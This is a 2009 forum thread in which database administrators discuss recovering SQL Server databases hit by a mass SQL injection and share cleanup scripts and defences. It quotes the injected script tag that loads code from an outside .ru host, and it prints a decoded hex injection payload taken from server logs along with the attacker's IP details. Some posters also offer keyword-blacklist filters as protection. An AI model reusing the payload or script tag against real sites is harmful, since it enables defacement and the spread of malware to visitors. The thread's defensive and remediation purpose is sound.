Hacked - what's the best way to restore?

  • I am a complete newbie so please excuse me if this a simple question.

    Our SQL 2005 DB was hacked last night. In many of our tables this was appended to many columns:

    <script src=http://www.bannerdriven.ru/ads.js></script><script src=http://www.bannerdriven.ru/ads.js></script>

    We have good backups. What is the best way to restore?

    Thank you in advance.

    Norbert

  • Have the same problem and wold also like some info and quick solution on it.

    Regards,

    Matt

  • norbertackerman (9/25/2009)


    I am a complete newbie so please excuse me if this a simple question.

    Our SQL 2005 DB was hacked last night. In many of our tables this was appended to many columns:

    <script src=http://www.bannerdriven.ru/ads.js></script><script src=http://www.bannerdriven.ru/ads.js></script>

    We have good backups. What is the best way to restore?

    Thank you in advance.

    Norbert

    Depends on your backup strategy that is in place. Do you know when the change was made. in simplistic terms, restore using the last backup before the change was made.

    I would be more concerned with finding out how it was hacked and making sure that your databases and server are secure and locked down before doing any restores. Look at the auditing that you have in place and make sure that your logins and backups havent been compromised and you can validate all logins that have occurred recently. It might be a good idea to review your security practises and possibly change the passwords for any logins that might have been compromised.

    It sounds like it is sql injection, you are running front end web applications I take it. I would take a hard look at the application and filter the data that is going into sql server.

    --------------------------------------------------------------------------------------
    [highlight]Recommended Articles on How to help us help you and[/highlight]
    [highlight]solve commonly asked questions[/highlight]

    Forum Etiquette: How to post data/code on a forum to get the best help by Jeff Moden[/url]
    Managing Transaction Logs by Gail Shaw[/url]
    How to post Performance problems by Gail Shaw[/url]
    Help, my database is corrupt. Now what? by Gail Shaw[/url]

  • My own content is very dynamic and changes all the time, I will be writing a script to clean up the database.

    Regarding the method of the attack SQL injection is not possible in my case. Are there any other possible methods for getting in and doing this to a database?

  • this is definitely a sql injection/xss attack.

  • I may be way off base here, but it looks to me like some sort of ad bot automatically posting responses/comments to a blog or something similar, and it's turned into an injection attack by either accident or design.

    Injection only has one of two aims - steal data or break your system, and in this case it's damaged your system but not completely broken it, so it seems a bit pointless!

    Regards,

    S Armondi

  • You could restore, or you could also issue an update to remove this data.

    Update mytable

    set mycol = replace( '<script src=http://www.bannerdriven.ru/ads.js></script>', '')

    You definitely want to examine the code where this was allowed in and rework it to prevent this type of SQL Injection.

  • you Can use thos SP to Replace all of YOUR Infected records :

    1- Create SP

    set ANSI_NULLS ON

    set QUOTED_IDENTIFIER ON

    go

    ALTER PROC [dbo].[SearchReplaceAllTables]

    (

    @SearchStr nvarchar(100)

    )

    AS

    BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.

    -- Purpose: To search all columns of all tables for a given search string

    -- Written by: Narayana Vyas Kondreddi

    -- Site: http://vyaskn.tripod.com

    -- Tested on: SQL Server 7.0 and SQL Server 2000

    -- Date modified: 28th July 2002 22:50 GMT

    -- This is Code modified by Mahmoud Mahran to update all Records contains search word

    -- 29 Sep 2009

    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)

    DECLARE @SpaceVal nvarchar(1)

    SET @SpaceVal = ''

    SET @TableName = ''

    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL

    BEGIN

    SET @ColumnName = ''

    SET @TableName =

    (

    SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))

    FROM INFORMATION_SCHEMA.TABLES

    WHERE TABLE_TYPE = 'BASE TABLE'

    AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName

    AND OBJECTPROPERTY(

    OBJECT_ID(

    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)

    ), 'IsMSShipped'

    ) = 0

    )

    WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)

    BEGIN

    SET @ColumnName =

    (

    SELECT MIN(QUOTENAME(COLUMN_NAME))

    FROM INFORMATION_SCHEMA.COLUMNS

    WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)

    AND TABLE_NAME = PARSENAME(@TableName, 1)

    AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')

    AND QUOTENAME(COLUMN_NAME) > @ColumnName

    )

    IF @ColumnName IS NOT NULL

    BEGIN

    INSERT INTO #Results

    /* EXEC

    (

    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)

    FROM ' + @TableName + ' (NOLOCK) ' +

    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2

    )

    */

    EXEC

    (

    ' Update ' + @TableName + '

    Set ' + @ColumnName + ' = replace(' + @ColumnName + ',''' + @SearchStr + ''',''' + @SpaceVal + ''')'

    )

    END

    END

    END

    SELECT ColumnName, ColumnValue FROM #Results

    END

    2- Call iT

    USE [Aradosite]

    GO

    DECLARE @return_value int

    EXEC @return_value = [dbo].[SearchReplaceAllTables]

    @SearchStr = N'<script src=http://www.bannerdriven.ru/ads.js></script>'

    SELECT 'Return Value' = @return_value

    GO

  • We had the same problem 25 September. I found sql-injection in IIS log:

    DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832353529220.............%20AS%20VARCHAR(4000));EXEC(@S)

    I converted this text from HEX-format. LOOK:

    DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    The attack was from 41.196.146.57

    Information about this IP:

    Hostname: host-41-196-146-57.static.link.com.eg

    ISP: Link Egypt

    Organization: Link Egypt

    Proxy: None detected

    Type: Unknown

    Geo-Location Information

    Country: Egypt

    State/Region: 11

    City: Cairo

    Latitude: 30.05

    Longitude: 31.25

    This IP listed in many blacklists (for ex. dnsbl-3.uceprotect.net, cbl.abuseat.org )

  • I got Same Attack at same date "25/9/2009"

  • I found the attacker in the log with same script but with different IP and from Chile

  • You need to put a filter in place IMMEDIATELY to reject any query that has the following in it. Note this is NOT a bullet-proof mechanism or list, but it will help a lot! Either mechanism will work. Credit for this comes from a presentation by Plamen Ratchev

    .NET Code:

    #region GOOD WITH CHECK BLACK LIST

    public static string[] blackList = {"--",";--",";","/*","*/","@@","@",

    "char","nchar","varchar","nvarchar",

    "alter","begin","cast","create","cursor",

    "declare","delete","drop","end","exec","execute",

    "fetch","insert","kill","open",

    "select", "sys","sysobjects","syscolumns",

    "table","update"};

    private bool CheckInput(string SearchText)

    {

    for (int i = 0; i < blackList.Length; i++)

    {

    if ((SearchText.IndexOf(blackList, StringComparison.OrdinalIgnoreCase) >= 0))

    {

    HttpContext.Current.Response.Redirect("~/Error.aspx");

    return false;

    }

    }

    return true;

    }

    TSQL Code:

    IF UPPER(@SearchText) LIKE UPPER(N'%0x%')

    OR UPPER(@SearchText) LIKE UPPER(N'%;%')

    OR UPPER(@SearchText) LIKE UPPER(N'%''%')

    OR UPPER(@SearchText) LIKE UPPER(N'%--%')

    OR UPPER(@SearchText) LIKE UPPER(N'%/*%*/%')

    OR UPPER(@SearchText) LIKE UPPER(N'%EXEC %')

    OR UPPER(@SearchText) LIKE UPPER(N'%xp[_]%')

    OR UPPER(@SearchText) LIKE UPPER(N'%sp[_]%')

    OR UPPER(@SearchText) LIKE UPPER(N'%SELECT %')

    OR UPPER(@SearchText) LIKE UPPER(N'%INSERT %')

    OR UPPER(@SearchText) LIKE UPPER(N'%UPDATE %')

    OR UPPER(@SearchText) LIKE UPPER(N'%DELETE %')

    OR UPPER(@SearchText) LIKE UPPER(N'%TRUNCATE %')

    OR UPPER(@SearchText) LIKE UPPER(N'%CREATE %')

    OR UPPER(@SearchText) LIKE UPPER(N'%ALTER %')

    OR UPPER(@SearchText) LIKE UPPER(N'%DROP %')

    -- add other possible strings used in SQL Injection here

    BEGIN

    RAISERROR('Possible SQL Injection attempt.', 16, 1);

    RETURN;

    END

    Best,
    Kevin G. Boles
    SQL Server Consultant
    SQL MVP 2007-2012
    TheSQLGuru on googles mail service

  • Thank you everyone for the suggestions.

    For now, we completely restored the db. We are currently reviewing the cause.

  • Please Give me some info about the cause of this problem,Im trying to find the same specially after find more than 12000 website have been infected by same Injection/virus ? over Google Search.

    thanks for Help

  • The cause of this problem is people with nothing better to do than deface others' property.

    It's a SQL Injection issue. You need to make sure you are not allowing SQL Injection in your code. Read: http://www.sqlservercentral.com/articles/Security/updatedsqlinjection/2065/

Viewing 15 posts - 1 through 15 (of 20 total)

You must be logged in to reply to this topic. Login to reply